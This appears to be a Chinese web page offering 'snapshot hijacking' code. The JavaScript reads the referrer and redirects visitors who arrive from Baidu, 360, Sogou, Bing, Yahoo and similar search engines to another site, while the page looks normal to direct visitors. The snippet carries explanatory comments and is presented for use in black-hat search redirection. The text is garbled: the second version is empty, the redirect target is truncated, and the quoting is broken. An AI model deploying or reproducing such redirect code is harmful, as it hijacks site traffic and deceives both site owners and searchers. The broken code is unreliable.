快照劫持代碼大全:js、php,百度、360、網站看似正常但是搜索跳轉到別
網站看似正常但是搜索跳轉到別的網站
快照劫持代碼大全:js、php,百度、360、sogou、神馬、google、bing、yahoo…
js快照劫持代碼
baidu、360、sogou、soso、神馬、uc、bing、yahoo...
版本1:
1 2 3 4 5 6 7 8 | document.writeln( "var s=document.referrer" ); /*獲取當前網頁超鏈接的地址url,并把此url的值賦給s */ document.writeln( "if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )" ); /*這里的indexOf是一個方法 s.indexOf("baidu") 的意思是 獲取"baidu"在s中的下標 ,如果s中包含"baidu",就會得到一個int類型的數。 ||是或的意思。 if()中的意思是:當前網頁的url地址包含baidu或sogou或soso或sm等的時候,繼續其他語句。*/ /*這里的location.href= "/url"是當前頁面打開URL頁面,屬于本頁面跳轉。*/ |
版本2:
1 2 3 4 5 6 7 |
|
代碼解釋:if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("so")>0 ) 判斷搜索引擎來源,如果來源正確,location.);